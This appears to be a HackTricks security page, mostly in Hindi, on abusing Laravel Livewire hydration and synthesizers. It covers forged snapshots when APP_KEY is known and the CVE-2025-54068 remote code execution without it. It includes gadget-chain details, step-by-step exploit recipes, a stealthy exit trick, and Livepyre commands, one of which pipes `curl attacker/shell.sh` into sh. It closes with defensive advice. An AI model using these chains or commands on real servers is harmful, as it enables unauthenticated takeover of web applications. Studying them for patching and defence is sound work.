Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Recap of the Livewire state machine
Livewire 3 components अपने state को snapshots के माध्यम से आदान-प्रदान करते हैं जिनमें data, memo, और एक checksum शामिल होता है। हर POST /livewire/update पर JSON snapshot को server-side पर पुनर्निर्मित किया जाता है और कतारबद्ध calls/updates निष्पादित होते हैं।
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
जिसके पास APP_KEY (जो $hashKey निकालने के लिए उपयोग होता है) है, वह HMAC को पुनः गणना करके इसलिए मनमाने स्नैपशॉट्स बना सकता है।
जटिल प्रॉपर्टीज़ को synthetic tuples के रूप में एन्कोड किया जाता है, जिन्हें Livewire\Drawer\BaseUtils::isSyntheticTuple() द्वारा पहचाना जाता है; प्रत्येक tuple [value, {"s":"<key>", ...meta}] होता है।
Hydration core बस हर tuple को HandleComponents::$propertySynthesizers में चुने गए synth को सौंपता है और children पर recursion करता है:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
यह recursive डिज़ाइन Livewire को एक सामान्य ऑब्जेक्ट-इंस्टैंटिएशन इंजन बना देता है जब कोई हमलावर ट्यूपल मेटाडेटा या recursion के दौरान प्रोसेस किए गए किसी भी nested ट्यूपल को नियंत्रित कर लेता है।
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | हर child को rehydrate करने के बाद new $meta['class']($value) इंस्टैंशिएट करता है। किसी भी array constructor वाला क्लास बनाया जा सकता है, और प्रत्येक आइटम स्वयं एक synthetic tuple हो सकता है. |
FormObjectSynth (form) | new $meta['class']($component, $path) कॉल करता है, फिर attacker-controlled बच्चों से हर public property को $hydrateChild के माध्यम से असाइन करता है। दो loosely typed parameters (या default args) स्वीकार करने वाले constructors arbitrary public properties तक पहुंचने के लिए पर्याप्त हैं. |
ModelSynth (mdl) | जब meta में key अनुपस्थित होता है तो यह return new $class; निष्पादित करता है, जिससे हमलावर नियंत्रित किसी भी क्लास का zero-argument इंस्टैंशिएशन संभव हो जाता है. |
क्योंकि synths हर nested element पर $hydrateChild को invoke करते हैं, ट्यूपल्स को recursive तरीके से stack करके arbitrary gadget graphs बनाए जा सकते हैं।
Forging snapshots when APP_KEY is known
- एक वैध
/livewire/updaterequest कैप्चर करें औरcomponents[0].snapshotको डिकोड करें। - nested tuples inject करें जो gadget classes की ओर इशारा करते हों और फिर
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)पुनः गणना करें। - snapshot को फिर से encode करें,
_token/memoको बिना छेड़े रखें, और request को replay करें।
एक न्यूनतम proof of execution Guzzle’s FnStream और Flysystem’s ShardedPrefixPublicUrlGenerator का उपयोग करता है। एक ट्यूपल FnStream को constructor data { "__toString": "phpinfo" } के साथ instantiate करता है, अगला ShardedPrefixPublicUrlGenerator को [FnStreamInstance] को $prefixes के रूप में instantiate करता है। जब Flysystem हर prefix को string में cast करता है, PHP attacker-provided __toString callable को invoke करता है, जो बिना arguments किसी भी function को कॉल कर देता है।
From function calls to full RCE
Livewire की instantiation primitives का लाभ उठाते हुए, Synacktiv ने phpggc के Laravel/RCE4 chain को इस तरह adapt किया कि hydration एक ऐसा object बूट करे जिसका public Queueable state deserialization को ट्रिगर करे:
- Queueable trait – कोई भी object जो
Illuminate\Bus\Queueableका उपयोग करता है, public$chainedexpose करता है औरdispatchNextJobInChain()मेंunserialize(array_shift($this->chained))को execute करता है। - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) कोCollectionSynth/FormObjectSynthके माध्यम से instantiate किया जाता है और public$chainedpopulated होता है। - phpggc Laravel/RCE4Adapted –
$chained[0]में संग्रहीत serialized blobPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signedबनाता है।Signed::__invoke()अंततःcall_user_func_array($closure, $args)को कॉल करता है, जिससेsystem($cmd)सक्षम होता है। - Stealth termination – एक दूसरे
FnStreamcallable जैसे[new Laravel\Prompts\Terminal(), 'exit']सौंपकर, requestexit()के साथ समाप्त होता है बजाय कि एक शोर-भरी exception के, जिससे HTTP response साफ़ रहता है।
Automating snapshot forgery
synacktiv/laravel-crypto-killer अब एक livewire mode के साथ आता है जो सब कुछ जोड़ देता है:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
यह टूल कैप्चर किए गए स्नैपशॉट को पार्स करता है, gadget tuples इंजेक्ट करता है, checksum पुनः गणना करता है, और भेजने के लिए तैयार /livewire/update payload प्रिंट करता है।
CVE-2025-54068 – RCE without APP_KEY
updates snapshot checksum वैलिडेट होने के बाद component state में मर्ज हो जाते हैं। अगर snapshot के अंदर कोई property (या वह बन जाता है) एक सिंथेटिक ट्यूपल है, तो Livewire उसकी meta को पुनः उपयोग करता है जबकि वह हमलावर-नियंत्रित अपडेट मान को हाइड्रेट कर रहा होता है:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- ऐसे Livewire component को खोजें जिसमें बिना टाइप वाली public property हो (उदा.,
public $count;). - उस property को
[]सेट करने वाला एक update भेजें। अगला snapshot अब इसे[[], {"s": "arr"}]के रूप में संग्रहीत करता है। - एक और
updatespayload तैयार करें जहाँ वह property गहरे nested array में tuples embed करती है जैसे[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - रिकर्शन के दौरान,
hydrate()प्रत्येक nested child को स्वतंत्र रूप से evaluate करता है, इसलिए हमलावर द्वारा चुने गए synth keys/classes मान्य होते हैं भले ही बाहरी tuple और checksum कभी बदलें नहीं। - उसी
CollectionSynth/FormObjectSynthprimitives को दोबारा उपयोग करके एक Queueable gadget instantiate करें जिसका$chained[0]phpggc payload रखता है। Livewire forged updates को प्रोसेस करता है,dispatchNextJobInChain()को invoke करता है, औरsystem(<cmd>)तक पहुँचता है बिनाAPP_KEYजाने हुए।
Key reasons this works:
updatessnapshot checksum द्वारा कवर नहीं होते।getMetaForPath()उस synth metadata पर भरोसा करता है जो पहले से उस property के लिए मौजूद था, भले ही हमलावर ने पहले weak typing के माध्यम से इसे tuple बना दिया हो।- Recursion और weak typing मिलकर प्रत्येक nested array को एक नए tuple के रूप में interpret करने देते हैं, इसलिए arbitrary synth keys और arbitrary classes अंततः hydration तक पहुँच जाते हैं।
Livepyre – end-to-end exploitation
Livepyre दोनों को automate करता है: APP_KEY-less CVE और signed-snapshot path:
<script src="/livewire/livewire.js?id=HASH">को parse करके deployed Livewire version का fingerprint बनाता है और hash को vulnerable releases से map करता है।- benign actions को replay करके और
components[].snapshotनिकालकर baseline snapshots collect करता है। - या तो
updates-only payload (CVE-2025-54068) generate करता है या एक forged snapshot (यदि APP_KEY ज्ञात हो) जिसमें phpggc chain embed होता है।
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check एक गैर-विनाशकारी परीक्षण चलाता है, -F version gating को skip करता है, -H और -P custom headers या proxies जोड़ते हैं, और --function/--param gadget chain द्वारा invoke की जाने वाली php function को customise करते हैं।
रक्षात्मक विचार
- निर्माता बुलेटिन के अनुसार fixed Livewire builds (>= 3.6.4) पर अपग्रेड करें और CVE-2025-54068 के लिए vendor patch लागू करें।
- Livewire components में weakly typed public properties से बचें; स्पष्ट scalar प्रकार property मानों को arrays/tuples में coercion होने से रोकते हैं।
- केवल उन्हीं synthesizers को रजिस्टर करें जिनकी आपको वास्तव में आवश्यकता है और उपयोगकर्ता-नियंत्रित metadata (
$meta['class']) को अविश्वसनीय समझें। - उन updates को अस्वीकार करें जो किसी property के JSON प्रकार को बदलते हैं (उदा., scalar -> array), जब तक स्पष्ट रूप से अनुमति न हो; और stale tuples को reuse करने के बजाय synth metadata को पुनः-व्युत्पन्न करें।
- किसी भी disclosure के बाद तुरंत
APP_KEYको rotate करें क्योंकि यह offline snapshot forging सक्षम करता है, चाहे code-base कितना भी patched क्यों न हो।
संदर्भ
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


